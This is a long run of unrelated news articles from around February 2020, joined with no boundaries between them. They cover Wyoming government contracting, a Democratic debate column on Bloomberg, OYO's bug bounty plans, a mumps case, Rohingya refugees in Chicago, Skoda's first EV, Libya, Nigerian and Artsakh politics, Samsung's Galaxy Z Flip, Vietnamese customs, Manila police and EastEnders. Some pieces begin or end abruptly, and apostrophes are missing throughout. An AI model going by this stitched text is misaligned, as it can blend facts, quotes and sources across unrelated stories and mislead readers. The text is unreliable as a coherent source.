almost every industry can expand their market through government contracting due to the large scope of products and services being sought by local, state and federal agencies. Every year, millions of dollars are set aside for small businesses in our state to provide food services, construction services and more. You may have heard about the Ground Based Strategic Deterrent (GBSD) program that is intended to replace the Minuteman III missile system at the F.E. Warren Air Force Base in Cheyenne and at other locations. While the details of the GBSD program are still being determined, there are many other opportunities available right now to expand your market to include the worlds largest customer -- the U.S. government. For example, government agencies are currently looking for small businesses in Wyoming to provide HVAC maintenance in Worland; community treatment services in Casper; and roof and paint upgrades in Fort Washakie, just to name a few. There are steps that need to be taken before you can work with the government, and the Wyoming Procurement Technical Assistance Center (PTAC) can help you through each step at no cost. You also will want to start gaining government contracting experience now to prove your businesss ability to deliver and to increase your chances of winning future contracts. To be prepared to compete for federal contracts, businesses will need to: -- Obtain a Data Universal Numbering System (DUNS) number. -- Register in the System for Award Management (SAM). -- See whether they qualify for any socioeconomic programs. -- Learn how to respond to solicitations. -- Meet certain cybersecurity standards or other requirements depending on the agency they are working with. It may seem overwhelming at first, but an upcoming GRO-Biz Conference in Cheyenne March 25 will serve as your best opportunity of the year to learn how to get started and how to successfully compete for a contract. The conference will give you a chance to meet individually with a large selection of procurement representatives from various government agencies. There also are eight training sessions to choose from and several networking opportunities. To learn more or to reserve your early registration discount for this event, visit www.wyomingsbdc.org/grobiz. For more information or to receive no-cost assistance now, you can contact your local PTAC or Wyoming SBDC Network adviser at www.wyomingsbdc.org/sign-up. The Wyoming SBDC Network offers business expertise to help Wyoming residents think about, launch, grow, reinvent or exit their businesses. The Wyoming SBDC Network is hosted by UW with state funds from the Wyoming Business Council and funded, in part, through a cooperative agreement with the U.S. Small Business Administration. To ask a question, call 1-800-348-5194, email wsbdc@uwyo.edu, or write 1000 E. University Ave., Dept. 3922, Laramie, WY 82071-3922. Last night, Las Vegas hosted the fight of the century (and, no, Im not talking about Wilder vs. Fury). If Sen. Amy Klobuchar (D-MN) referred to Congress as the Arena, then the debate stage was the Thunderdome. Except instead of only one fighter emerging in the end, only one fighter was clearly eliminated: former New York City Mayor Michael Bloomberg ( D R I D). Ordinarily, after enduring yet another political debate, I tell people they didnt really miss anything. Not this time. Missing last nights Democratic debate is like missing the Super Bowl (which this year also meant seeing a lot of Michael Bloomberg). You can watch the whole thing here. Pop some popcorn. Now, I am well aware that this intro is one where I may end up eating my words. It may be that Bloombergs money is so plentiful and powerful that hell manage to buy the Democratic nomination even after his belly flop of a debate performance, but one thing is for sure: If he does, hell mark it down as another example of his big-hearted largess. It is impossible even to set up this quote without wading into the deep mire of last nights mudslinging. On the campaign trail last year, Sen. Bernie Sanders (I-VT) said that billionaires should not exist. This is actually a softening of Sanders 2016 position that repeatedly denounced not only billionaires but also millionaires. (Why he no longer denounces the latter is an unexplained mystery.) Chuck Todd, one of the debates moderators, did challenge Sanders on that statement, but then he turned to Bloomberg: TODD: Mayor Bloomberg, should you exist? BLOOMBERG: I cant speak for all billionaires. All I know is Ive been very lucky, made a lot of money, and Im giving it all away to make this country better. And a good chunk of it goes to the Democratic Party, as well. (APPLAUSE) TODD: Is it too much? Have you earned too much has it been an obscene amount of should you have earned that much money? BLOOMBERG: Yes. I worked very hard for it. And Im giving it away. Sounds nice. But if youre wondering why no headlines today recount the heroic story of a now-homeless Michael Bloomberg, who gave all his money away to make this country better, its because his definition of giving isnt the same as normal peoples. What he means by giving is buying. How is it that he is giving it away? According to the New York Times, Already, Mr. Bloomberg has spent more than $200 million on advertising, putting him on pace to spend by early March about the same as what President Barack Obamas campaign spent on advertising over the course of the entire 2012 general election. It should not need to be said, but apparently it does, that there is a difference between buying airtime for political ads and giving. Buying means that one person exchanges money for something else in return. Giving means that someone gives something to another with no expectation of return. It is the difference between what the economist Kenneth Boulding called exchange systems, like the market, and integrative systems, like the family. Apparently all relationships are exchange systems to Bloomberg. This can be seen even with reference to the actual donations he referenced: his giving to the Democratic party. The DNC had previously set a threshold of 225,000 individual campaign donors for a candidate to qualify for its January 14 debate. But they eliminated the donor requirement before the Vegas debate. Why? Heres one popular theory: According to the New York Post, The billionaire former New York City mayor wrote a fat $800,000 check to the Democratic Grassroots Victory Fund a joint fundraising committee for the DNC, the state political parties and the D.C. Democratic Party on Nov. 19. Bloomberg officially announced his campaign for president on November 24. The $800,000 was then redistributed to the DNC and 44 states between Nov. 19 and Nov. 27, campaign records show. The portion distributed to the DNC was $319,5000, according to records filed with the Federal Elections Commission. Many have alleged that the correlation between Bloombergs donations, his campaign launch, his rise in the polls, and the DNCs removal of the donor threshold for debates are no coincidence. At the debate, Bloomberg even boasted about how I only entered into this race 10 weeks ago. All of my associates here have been at this for a couple of years. He may have had a few zingers, but his lack of preparation overall was astounding. The other candidates each took turns (some of them several) tearing him down in ways that he should have seen coming: for his questionable treatment of women, his massive wealth, his switching parties, his stop and frisk racial profiling in NYC, and of course as they, and perhaps even he, see it his buying his way onto the debate stage. After last nights debate, however, I suspect Bloomberg is feeling a bit of buyers remorse. Perhaps, after that, it will now be clear to him that giving means you arent guaranteed anything in return. Featured image: Gage Skidmore from Peoria, AZ, United States of America / CC BY-SA) OYO Hotels & Homes, the world's leading hospitality chain announced that it will continue to ramp up efforts to improve its information security framework as well as roll-out stronger ethical hacking and bug bounty programs to encourage continuous improvement and collaboration with ethical hacking experts. This development is in line with the company's commitment towards ensuring data privacy and building a robust cyber-security network. "One of our biggest assets is the trust of our customers, partners, and employees place in us. We understand that trust is hard to earn and easy to lose. One key responsibility in earning this trust is protecting the data our customers and other stakeholders have with us from any unauthorised use. Our team of 1100 plus world-class security, network and software engineers and external partners across multiple geographies is at work 24x7 ensuring the protection of this data, so our customers and stakeholders can rest easy", said Jagbir Singh, Engineering Manager - DevOps and InfoSec, OYO Hotels & Homes. The Bug Bounty program that the company aims to introduce is towards ensuring that there is a credible and continuous flow of positive feedback from independent security groups and individual researchers to mitigate against any bug or shortfall in the company's systems. This is in line with the established practice of recognition and reward for ethical hackers who help responsibly investigate shortfalls within the tech architecture of several tech companies including the likes of Silicon Valley giants like Facebook, Google, etc. OYO has accordingly developed an improved responsible disclosure policy to encourage honest and responsible reporting of any potential risks. Additionally, OYO has partnered with a specialized cyber-security start-up, AppSecure/Hackerhive, that connects companies and ethical hackers to help the former discover and fix security vulnerabilities and is in the process of developing a full-fledged Bug Bounty program. Security a priority Security is an integral part of any process at OYO; beginning from the collection of data, during transfer and processing to storage at rest. OYO follows a comprehensive information security framework based on NIST (National Institute of Standards and Technology, USA), ISO 27001 and other stringent industry standards. OYO's commitment also extends to employee training and sensitization at every step. All new joiners at OYO go through information security training as part of the new employee orientation. The company's software developers and other information security personnel also attend a mandatory quarterly refresher since the technology in this space are dynamic and evolving very quickly. There is also annual mandatory refresher training for all existing employees. "We have a robust and world-class security team comprising of in-house and external experts employing best in class security techniques including virtual private networks/cloud, firewalls, intrusion prevention and detection devices (IPS and IDS), security trainings for all engineers, static and dynamic code analysis, regular vulnerability assessments and network penetration tests. In today's digital world, a cyber-attack is a real concern. Hence, in line with our efforts to continually improve, we are investing in ethical hacking programs as well", said Anil Goel, Group Chief Technology and Product Officer. OYO also joined hands with other technology companies to address the issue of increasing online frauds and save guests from cyber-crimes. Along with other companies, OYO met the Reserve Bank of India (RBI) representatives and made a joint representation on the issue that also addressed the plan on how to curb these online frauds followed by a meeting with other stakeholders in the telecom industry. The company has a long way to go and as it continues to amplify investments in this ever-evolving space, it aims to continually improve. This story is provided by BusinessWire India. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A student at Grice Middle School in Hamilton Township, Mercer County was diagnosed with mumps, the district said in a letter to parents. The Hamilton Township School District did not offer any other information about the student in the letter which was issued on Wednesday. The New Jersey Department of Health said it was also investigating as well as the Mercer County Division of Public Health but did not confirm the diagnosis. A probable case of mumps in Mercer County was reported to the NJ Department of Health, a state health department spokeswoman told NJ Advance Media Thursday evening. Local health officials are investigating. If the student does in fact have mumps, it would be the second confirmed case of the rare disease in New Jersey this year. The state health department spokeswoman said there was a confirmed case of mumps in January, but said she was unsure exactly where the disease was found or whom was diagnosed. Mumps is no longer common, the federal Centers for Disease Control and Prevention (CDC) said, thanks to the mumps and rubella (MMR) vaccine. The virus is often spread through coughing, sneezing, talking and sharing cups or other utensils. Mumps symptoms can include puffy cheeks and tender, swollen jaw, along with fever and headache, according to the CDC. The disease is spread by direct contact with saliva or respiratory droplets. The district told parents and students that in addition to the MMR vaccine the spread of the disease can be stopped by proper hand washing techniques, not sharing eating utensils, and cleaning frequently touched surfaces with soap and water or cleaning wipes. Chris Sheldon may be reached at csheldon@njadvancemedia.com. Follow him on Twitter @chrisrsheldon Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips. Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. A refugee from Myanmars tyrannized Rohingya minority, Lila Mubarak embodies perfectly the poor, huddled masses welcomed to the United States for more than a century by a bronze plaque at the foot of the Statue of Liberty. The 27-year-old beams as she recounts her difficult path to citizenship a few short years after fleeing persecution in her homeland to make a new life in Americas third city, Chicago. Im so happy to be an American citizen because I was stateless. This is a first for me, Mubarak said after becoming naturalized a few days ago. But fears are growing in Americas 8,000-strong community of Rohingya a Muslim ethnic group described as one of the worlds most oppressed that they might be among the last to benefit from American largesse. President Donald Trumps inclusion of Myanmar beginning Friday on a list of countries with harsh US entry restrictions has laid bare the frailty of the communitys prospects for peace. Mubaraks journey to the shores of Lake Michigan she came via Malaysia mirrors the stories of many Rohingya. Growing up, she never imagined exile in America because she had no reason to flee her southeast Asian homeland, formerly known as Burma before the countrys ruling junta made the switch in 1989. After getting a green card five years ago, she attended classes at the Rohingya Cultural Center in Chicago, a Midwestern city that is home to around a quarter of Americas Rohingya. At its height, the Rohingya population numbered about 800,000 in Myanmar, a small fraction of the countrys mostly Buddhist population of 54 million. Mistreated for generations, they were stripped of their citizenship in 1982 and denied education and health care. Then in 2013, religious tensions heightened and many Rohingya villages were torched, forcing nearly 200,000 into camps. Peace and harmony Myanmars army has been accused of mass murder, systematic rape and other abuse amounting to what the US Holocaust Memorial Museum describes as compelling evidence of ethnic cleansing, crimes against humanity and genocide. Abdul Jabbar Amanullah, who fled in 2012, works as a senior case manager at the Rohingya center, helping new arrivals get work. Many are employed to clean OHare International Airport or wash dishes at a nearby casino. The jobs are good for new Rohingya residents because they dont require much English at all and the pay isnt bad, Amanullah said, adding that while many work for $15 an hour, a few have been able to buy their own homes. The centers director Nasir Zakaria, who escaped Myanmar as a 14-year-old by paddling to Bangladesh, says the Rohingya love their adoptive community, which has the familiarity of village life back home. He talks online to his parents and several siblings who remain cell phones are illegal for Rohingya in Myanmar and hopes one day to see them again. We just want to live like other people. We want citizenship rights, freedom of religion, freedom of speech. We want to live together with other groups here in peace and harmony. Thats it. Resilience and courage Poet Emma Lazaruss 1883 sonnet on the Statue of Liberty enjoins the downtrodden Old World: Give me your tired, your poor, your huddled masses yearning to breathe free, the wretched refuse of your teeming shore. For many, acting Homeland Security Deputy Secretary Ken Cuccinelli distilled Washingtons shift in attitude to refugees under Trump when he twisted the words last summer. Give me your tired and your poor who can stand on their own two feet and who will not become a public charge, he said. The presidents infamous travel ban places tight visa controls on 13 countries, including the newly added Myanmar, Nigeria, Eritrea, Sudan and Tanzania, as well as former Soviet state Kyrgyzstan. Effectively putting a halt to entries from those nations, it is not supposed to bar refugees fleeing persecution, the State Department told AFP. But Azeem Ibrahim, director of the displacement and migration program at the Center for Global Policy, believes the message from the White House is clear. Somebody in this administration probably realized that this is among the largest refugee population in the world, said the author of The Rohingyas: Inside Myanmars Hidden Genocide. So if you want to stop refugees youre going to include one of the largest populations. Back at the Chicago Rohingya center, English and citizenship teacher Susan Chestnut says that when she started two years ago she was shocked at the low level of literacy among those she was helping. Imagine not knowing how to use a pencil. Most of them never had been in school until they started my classes, the Chicago-area native told AFP. Chestnut too believes that Trumps visa restrictions are intended to convey Washingtons enmity to a people whose resilience and courage amazes her daily. They are not terrorists, they are not bad people. They dont understand. I teach them that, as a citizen, one of the most important things you can do is vote, having a voice, she said. Theyve never had that. They dont know what it means to be a citizen. They are citizens of nowhere but they consider America their country. Skoda Enyaq, the first EV (electric vehicle) from the Czech brand, is based on Volkswagens MEB platform. Skoda Auto has announced the debut of the Enyaq; the brands very first series-production electric vehicle. The global automotive market is paving a new path in the field of emission-free mobility (especially in the premium segment) and the Czech-origin brand under Volkswagen Group is relatively late to the party. At the moment, very few details are known about the Skoda Enyaq. There is no information on the specifications, pricing, body style or a possible launch timeline. In fact, the company has not even shared the EVs early renders or digital sketches. However, the name itself gives us a few clues. As you may know, Skoda Auto has an obsession with the letters K and Q for its SUV line-up. Every modern-day Skoda SUV on the market or in the works has its name starting with K and ending with Q as evident from the Kodiaq, Karoq and Kamiq. The ending of the name Enyaq fits the bill for an SUV body style and at the start, the K has been replaced for an E to signify electric mobility. Using an e moniker for electric vehicles has been a cliche even before the current EV launch-spree. However, the brand has done a decent job at naming its first all-electric product, in typical Skoda fashion. Even though nobody outside Skoda Auto knows a lot about the Enyaq, the company has confirmed that it will be based on Volkswagen Groups Modular Electrification Toolkit or MEB platform. Looking for the B in the expansion? It most likely stands for baukasten; the German word for kit. On this, we can only point the finger at Volkswagen who is obsessed with ending its modular platforms with the letter B as in MLB and MQB. In fact, MLB stands for Modularer Langsbaukasten (German) or Modular Longitudinal Matrix in English while MQB expands to Modularer Querbaukasten or Modular Transversal Toolkit. Coming back to the Enyaq, reports state that it will be based on the Skoda Vision iV SUV-coupe concept that was unveiled almost a year ago. The concept sported the latest iteration of the Skoda design language that takes inspiration from a Bohemian crystal. The Skoda Vision iV is dubbed as an electric high-riding vehicle with dual motors (one on each axle). The combined output crosses 300bhp and the all-wheel-drive EV has a claimed range of 500+km. Being a concept, one need not take the facts and figures that seriously. Still, the Skoda Vision iV gives an insight into what the upcoming Enyaq could be. The automotive world is interested in electric vehicles like never before while the desirability of SUVs is becoming stronger by the day. Hence, Skoda has made the right move by announcing an all-electric SUV for its portfolio. Last Monday, 17 February, marked the ninth anniversary of the Libyan Revolution. Back in 2011, the Libyan Revolution was part of a snowballing process that began in Tunisia, spread to Egypt and finally Libya, meaning that North Africa was the core of the political unrest the Arab world witnessed in 2011. It is very common in the comparative history of revolutions to see different patterns of protesting, but if it is a snowballing effect, this means that while techniques and dynamics of protest may vary from one place to another, the main goals or the framework that covers different grievances remain almost the same. Libya, however, proved to be a different pattern altogether in comparison to other cases in the Arab Spring. Both Tunisia and Egypt saw a building process of collective action over the course of years, the result of which was political and popular protest leaving a vacuum in the presidential seat of power. In the absence of a legitimate president, the armed forces in both countries assumed interim power. However, Libya took a completely different track because the beginnings of the 17 February revolution did not witness the amount of mobility and political participation of the two other models. Libya more or less suddenly blew up, and it was the first case to witness phenomena like old regime defections, alternative bodies of power and the collapse of state institutions in a very short time. This pattern would be repeated later in Syria and Yemen, each according to its context of course, but Libya was indeed the starting point. The pattern in which revolution starts dictates through several factors how the process continues. Libya was in a state of loss of control over different state institutions that were unable to meet their responsibilities towards the people and towards the countrys international commitments. The obvious lack of control and the arms that were widespread led to the weakness of all transitional solutions that were proposed at the time. The ones that were implemented were not practical enough, and the ones that were rejected caused further divisions within the already vulnerable structures that existed at the time. It is worth mentioning this pattern still exists until today and is clearly reflected on all the various initiatives that multiple states and international organisations tried to come up with. The combination of weak and challenged legitimacies, the failure to control the use and flow of arms, and ongoing divisions between actors in the Libyan interior govern the Libyan crisis since it began. Nine years after the revolution broke out in Benghazi, the international community remains a problem due to the clash of interests between the various factors involved, on the one hand, and the state of polarisation that the influence of the international community creates within the Libyan interior on the other. During the period from 2011 to 2014, there were a few international actors that had their eyes fixed on Libya and they still do until today. These include Egypt, Italy, France, Algeria and Tunisia. But since the political division that took place in 2014, new strategies and new alliances were built across regional and international fault lines that connect the interests of a wide range of powers. At that time, the UN started to be more active, and this activism ended up with the inclusion of more international actors like Germany, Russia and the UAE. The final result was the Skhirat Agreement signed in Morocco in December 2015. As much as there was a state of optimism after following that agreement, those who closely followed the Libyan file knew that it was only a matter of time before this agreement proved to be a new failure for the international communitys interventions in Libya, either politically or militarily. So, once more, we realise that the international community was in a state of confusion in the beginnings of the Libyan Revolution, and without a clear plan of military procedures, or even an exit strategy, NATO stepped in and caused severe damage to the overall political and security conditions. If we look today, we find that the international meetings and conferences play the same role played back in 2011; a willingness to intervene but without any future visions for what should come after this intervention. Finally, the military aspect is one of the dimensions that did not change much over the past nine years. Among the factors that contribute to how the conflict remains active, and actually elongates it one day after the other, is the very close balance of power that exists inside Libya. Military confrontations have been occurring in Libya since 2011 and until today, of course with varying degrees of intensity. However, the same pattern applies: no party is capable of gaining and maintaining the upper hand militarily in the conflict. So, in light of the repeated failures of political initiatives and the lack of a military upper hand, it is only expected for the conflict to last for some time, and perhaps beyond 2020. Yes, it has been nine years since 17 February saw an eruption in the Libyan east, but lots of evidence shows that the situation today in 2020 is no different than the situation in 2011. Core issues remain unresolved that constitute barriers that deconstruct any attempts towards a political settlement. What all parties have to offer is nothing but temporary pain killers that handle the symptoms, without providing a cure. *The writer is director of the Programme for the Mediterranean and North Africa Studies at the Al-Ahram Centre for Political and Strategic Studies. *A version of this article appears in print in the 20 February, 2020 edition of Al-Ahram Weekly. Search Keywords: Short link: STEPANAKERT. In the evening of February 20, the Office of the Human Rights Defender (Ombudsman) of Artsakh (Nagorno-Karabakh) received a report that a group of citizens carried out a car rally accompanied by political calls in the vicinity of Stepanakerts Renaissance Square, during which police apprehended eight people. The Artsakh Ombudsmans representatives visited the Stepanakert police department, got familiarized with the circumstances and grounds of the incident, and had conversations with the apprehended persons, the Artsakh Ombudsman's Office informed Armenian News-NEWS.am. Police explained to them that the reason for their being apprehended was the failure to comply with a lawful police request, which resulted in an administrative detention. The Ombudsman's representatives reported that all eight apprehended persons were released within three hours. Artsakh1.am has released a video showing police stopping the citizens' movement and saying they are using sound signals, which is an obstacle to other traveling citizens. These protesters are driving in the streets of Stepanakert, chanting that they demand the resignation of President Bako Sahakyan and Minister of Emergency Situations Levon Mnatsakanyan. Afterwards, the police demand from these citizens to go to the police station, but they refuse, after which the law enforcers apprehend them. The All Progressive Congress (APC) has filed an application before the supreme court, seeking reversal of the judgment which sacked Da... The All Progressive Congress (APC) has filed an application before the supreme court, seeking reversal of the judgment which sacked David Lyon as winner of the Bayelsa governorship election. Exactly a week ago, the apex court affirmed the verdict of a federal high court which disqualified Biobarakuma Degi-Eremienyo, Lyons running mate, for submitting forged credentials to the Independent National Electoral Commission (INEC). The supreme court held that the action of Degi-Eremienyo affected Lyon because both of them ran on a joint ticket. However, in the application filed by Wole Olanipekun and Lateef Fagbemi, counsels to the APC, the party submitted that the apex court misinterpreted the judgment of the federal high court and disqualified Lyon erroneously. The party argued that although the November 12, 2019, judgment of the trial court found Degi-Eremienyo guilty of submitting forged certificates, Inyang Ekwo, a judge, refused to grant the prayers of the PDP which asked for Lyons disqualification. After reinstating the judgment of the trial court in the judgment of this honourobie court of the 13th February, 2020, in SC.1/2020 Peoples Democratic Party (PDP) & 2 Ors. v. Biobarakuma Degi-Eremienyo & 3 ors., this honourable court proceeded to disqualify the governorship candidate of the applicant (Lyon David Pereworimin) despite the fact that the trial High Court refused to grant the reliefs for his disqualification and there was no appeal against same, the APC said In this honourable courts judgment of 13th February, 2020, the court erroneously and inadvertently stated that the trial High Court consequentially disqualified the applicants governorship candidate even though the trial court made no such order and when the trial court indeed refused to grant the express orders sought by the plaintiffs therein for his disqualification. The APC added that they obtained a stay of execution against the judgment of the federal high court to enable the candidates partake in the November 16 election. They argued that the opposition party (PDP) never filed a cross appeal at any point against the decision of the high court refusing to make an order disqualifying Lyon. APC also prayed the court to set aside the order which directed INEC to withdraw Lyons certificate of return. Russell pointed out that the pedestrian bridge is planned for completion in the fall. The city also will soon start an improvement project at Wilder Park, turning it from a passive park to a site where festivals and markets and other activities will be held regularly. The plan is for that to be completed in early 2021. (Bloomberg) -- Many iPhone users are wed to Apple Inc.s ecosystem, but the latest Galaxy device from Samsung Electronics Co. may finally get them to turn a curious eye. The Galaxy Z Flip is Samsungs second try at a compelling foldable device after last years Galaxy Fold. This sophomore effort costs a less astronomical $1,380, fits into much smaller pockets and opens and closes just like the flip handsets of years past. The reactions -- at least in Samsungs home base of South Korea -- to the foldable Z Flip have been instant and infectious. For a gadget intended to attract attention, this rethinking of the Android smartphone is off to a solid start. The Flip was released on Valentines Day and sold out on the first day in several key markets. Its out of stock now on Samsungs website, which went down for two hours around midnight Friday after a limited edition designed by Thom Browne went on sale. Posts of creative Flip accessorization are gaining traction on Twitter and Instagram. In a world of me-too mobile devices, the Z Flip is eye-catching. But its also an absolute fingerprint magnet that requires tender use and care. Ive always stuck to the iPhone, but this is the most tempting moment to consider switching to Galaxy, said Kyuhee Kang, a 29-year-old designer in Tokyo whos been an Apple loyalist since the iPhone 4. Read more: Samsung Bets on Big Camera Upgrade in Galaxy S20, Unveils Z Flip The 6.7-inch screen of the Galaxy Z Flip collapses into a palm-sized square akin to a Chanel compact -- and Samsung encourages that luxury association with high-gloss finishes and a limited edition in collaboration with designer Browne. Priced between the upgraded versions of Apples iPhone 11 Pro Max and 11 Pro, the Flip is a premium offering that Samsung wants to differentiate. Theres a certain nostalgic tug about answering calls by opening the gadget, then hanging up by snapping it shut. At the same time, its such a large device that if I were to operate it single-handedly every time Id quickly develop thumb or wrist strain. Two hands are required for safety. Story continues The still-nascent foldables category has two huge hurdles to overcome: proving its durability and offering sufficient, not necessarily superlative, specs. Motorolas Razr, a close competitor to Samsungs Z Flip, is thought to be fragile by at least one reviewer and is a step behind on almost every front: the camera, battery life, processor and display are all underwhelming. Motorolas $1,500 Razr Reboot Feels More Prototype Than Premium True to its spec-obsessive pedigree, Samsung made sure the Z Flip is well stocked in most categories, though the Z Flip is noticeably behind on battery life. It has a large display but its battery is segmented in two because of the space requirements of its hinge, so its smaller. That hinge applies lessons learned from the Galaxy Fold and feels rigid and strong. One early Z Flip owner, however, managed to break his devices display by merely flipping it open, and theres been a controversy online about how easily the Flips ultra-thin glass gets scratched. Samsung says theres a protective layer atop the glass and thats what testers are able to scuff. The hinge enables the Z Flip to stand at a variety of angles much like a laptop. This has allowed me to record my four-month-old puppys first bathing moment and shoot time-lapses of snowy scenes without a tripod. Couples may like the split-screen mode that lets them message each other on one half of the screen while watching or playing something on the other. The phone also becomes its own stand for watching videos and taking selfies. Samsung still has room for improvement on the design of its foldables, which feature a chunky bezel that doesnt sit flush with the display and thus prevents smooth swipes from the edge of the screen -- required by Samsungs own user interface. The Z Flip also has an underwhelming mono speaker. Last but not least, the 1.1-inch front display is too small to show anything more useful than an icon signifying the type of notification received. Will iPhone fans end up abandoning their iMessages and Apple Music playlists? Probably not that many for this Flip generation, as the balance between price, benefits and compromises still has a way to go. But Samsung has crafted the most refined and fully featured foldable device to date. It wont move the entire market just yet, but its stirring the interest that may yet make the foldable category a success. (Updates with Samsung website outage in the third paragraph) To contact the reporter on this story: Sohee Kim in Seoul at skim847@bloomberg.net To contact the editors responsible for this story: Edwin Chan at echan273@bloomberg.net, Vlad Savov For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Vietnam plans to hasten the reform of customs checks to save time and costs for businesses and facilitate trade. Customs officials were checking a batch of goods. Viet Nam would hasten the reform of customs checks further with an aim to save time and costs for businesses and facilitate trade. Photo moit.gov.vn At a meeting on Wednesday discussing a project about renovating the checking model for export/import product quality, Minister and Chairman of the Government Office Mai Tien Dung said the simplification of customs checks had seen significant improvements in recent years. Many ministries have been making efforts to reduce the number of goods categories subjected to customs checks and to simplify administrative procedures, as well as tackle overlaps in customs checks between different ministries. However, Dung said risk management in customs control had not been efficient as expected. He said a number of checks were carried out but few batches of goods were found to fall to meet quality requirements, just 0.47 per cent. Overlaps in customs checks still existed, Dung said, adding that some goods categories were still subject to checks by two or even three agencies, which wasted time and money. Inefficient customs checks are a burden to businesses, he stressed. Viet Nam should boost reforms and innovate customs checks for greater efficiency, Dung said, adding that efficient customs checks would create room for accelerating economic growth. Dung said the Government had asked the Ministry of Finance to develop a project about customs checks reforms so local customs departments would be the central unit to carry out checks at border gates (except for products related to national security and defence and quarantines). Reforms must ensure the quality of export/import goods and create favourable conditions for businesses, he asked. Dung said that it was also necessary to have a mechanism for transparent information exchanges between ministries and agencies in customs checks to facilitate import and export activities. A representative from the Private Sector Development Committee said firms expected more reforms in customs checks and about 90 per cent of businesses agreed with the Governments policy of making customs departments the central unit to carry out checks at border gates. In the past five years, time for customs checks reduced from an average of seven days to one to three days. According to Mai Xuan Thanh, deputy director of the General Department of Customs, the percentage of goods batches which must be checked before clearance fell from 25.93 per cent in 2015 to 19.1 per cent in 2019. Thanh, however, said many products had not had technical standards as a base for carrying out checks, which remained an issue. Statistics showed that as of the end of December, there were about 70,000 products subjected to customs checks. Overlaps still existed in 25 goods categories, Thanh said. Deputy Minister of Finance Vu Thi Mai said the project should be implemented in two phases. The first phase (2020-22) would pilot the renovation of customs checks and in the second phase (from 2023 onward), the focus would be placed on reviewing and amending laws as well as merging quality control agencies into customs. A representative from the Ministry of Industry and Trade proposed founding a working group to boost the efficiency of customs checks reforms. VNS Vietnam 2019 customs revenue hits all-time high of US$15 billion Vietnams active participation in multilateral and bilateral trade agreements created a pathway for improvements in the countrys business environment and support local enterprises to grow. Welcome to Morningstar.co.uk! You have been redirected here from Hemscott.com as we are merging our websites to provide you with a one-stop shop for all your investment research needs.To search for a security, type the name or ticker in the search box at the top of the page and select from the dropdown results.Registered Hemscott users can log in to Morningstar using the same login details. Similarly, if you are a Hemscott Premium user, you now have a Morningstar Premium account which you can access using the same login details. Metro Manila (CNN Philippines, February 21) Metro Manila police chief PMGEN Debold Sinas on Friday ordered the recall of a controversial memorandum instructing station commanders to draw up an updated list of information on Muslim students in the metropolis. "I have directed the District Director of Manila Police Distict PBGEN BERNABE MENDOZA BALBA to recall the memorandum regarding the updated list of Muslim Students in High School, Colleges and Universities in Manila City," Sinas said in a statement. His spokesman PMAJ Britz Estadilla later clarified to CNN Philippines that Sinas recalled the order covering Muslim students in the whole National Capital Region, not just the city of Manila. The earlier directive was met with protests by various groups, including the interim parliament of the Bangsamoro Autonomous Region in Muslim Mindanao, which passed a resolution Friday condemning the Philippine National Police's alleged profiling of young Muslims. Members of the Bangsamoro Transition Authority criticized the memorandum, calling it a form of "oppression" and "baseless stereotyping." However, Sinas maintained that the purpose of the order was not to profile but to get the statistics of Muslim students as required by the PNP's Directorate for Police Community Relations. "[We] will make the representation to Directorate for Police Community Relations to reconsider their directive," he said. "The NCRPO does not intend to cause harm and anxiety to our Muslim brothers and sisters," he said, referring to the National Capital Region Police Office which he heads. Sinas added that he will instruct the Salaam police to call for a meeting with Muslim student leaders in Manila instead "to accomplish the projects and activities for the Muslim community." PNP Chief PGEN Archie Gamboa earlier expressed support for the order and urged the public not to be "swayed by disinformation" on the issue. (Newser) American intelligence officials told House lawmakers last week that Russia already is interfering in the presidential campaign in an effort to see President Trump reelected. Republican and Democratic members of the House Intelligence Committee attended the meeting on what a Democratic official called a briefing on "the integrity of our upcoming elections," the New York Times reports. Lawmakers were told that this time, Russia also plans to interfere with the Democratic presidential primaries. The plan includes attacking election infrastructure, per CNN, as well as hacking and weaponizing social media. story continues below Trump was angry that the briefing was held, concerned that Democrats would use Russia's interference against him in the campaign. He was especially irked that Democratic Rep. Adam Schiff heard the intelligence officials' finding. Republicans at the briefing challenged the conclusion, saying Trump has been tough on Russia. "I'd challenge anyone to give me a real-world argument where Putin would rather have President Trump and not Bernie Sanders," Chris Stewart of Utah said in an interview later. In addition to securing Trump's reelection, the intelligence officials said, Russia wants to instill doubt about the integrity of the election. (Joking, Trump once told Putin not to meddle in US elections.) E astEnders actress June Brown has quit after 35 years of playing the chain-smoking Albert Square mainstay Dot Cotton. The 93-year-old star, whose stint on the soap began in 1985, said she has left the show "for good". Her character had not featured since an episode last month, when Dot left a voicemail for Sonia Fowler, saying she had moved to Ireland. Speaking on the Distinct Nostalgia podcast, Brown said: "I don't want a retainer for EastEnders, I've left. I've left for good." EastEnders original cast - In pictures 1 /9 EastEnders original cast - In pictures Actors Linda Davidson and Tom Watt pictured on the exterior set of the BBC soap opera 'EastEnders', September 29th 1986. Don Smith/Radio Times/Getty Images The first episode of EastEnders is broadcast February 19, 1985. Den Watts (Leslie Grantham), Angie Watts (Anita Dobson), Lofty (Tom Watt), Wicksy (Nick Berry), Ethel Skinner (Gretchen Franklin) and Kathy Beale (Gillian Taylforth) BBC A picture of the cast released on the shows 30th anniversay BBC Linda Davidson as Mary Associated Newspapers Eastenders original cast Back (l-r) Bill Treacher (Arthur Fowler) Gillian Taylforth (Kathy Beale) David Scarboro (Mark Fowler) Adam Woodyatt (Ian Beale) Leslie Granntham (Den Watts) Tom Watt (Lofty Holloway) Nedjet Salih (Ali Osman) Andrew Johnson (Saeed Jeffrey) Front (l-r) Peter Dean (Pete Beale) Wendy Richard died 26 Feb 2009 (Pauline Fowler) Shirley Cheriton (Debbie Wilkins) Letitia Dean (Sharon Watts) Gretchen Franklin (died July 2005) (Ethel Skinner) Sandy Ratcliffe. BBC Actors Susan Tully and Tom Watt, Associated Newspapers 'Eastenders' original cast. Bill Treacher (Arthur Fowler) Gillian Taylforth (Kathy Beale) David Scarboro (DEAD 4/88) (Mark Fowler) Adam Woodyatt (Ian Beale) Leslie Grantham (Den Watts) Tom Watt (Lofty Holloway) Nedjet Salih (Ali Osman) Andrew Johnson (Saeed Jeffrey) Peter Dean (Pete Beale) Wendy Richard (Pauline Fowler) Shirley Cheriton (Debbie Wilkins) Letitia Dean (Sharon Watts) Gretchen Franklin (died July 2005) (Ethel Skinner) Sandy Ratcliffe. BBC 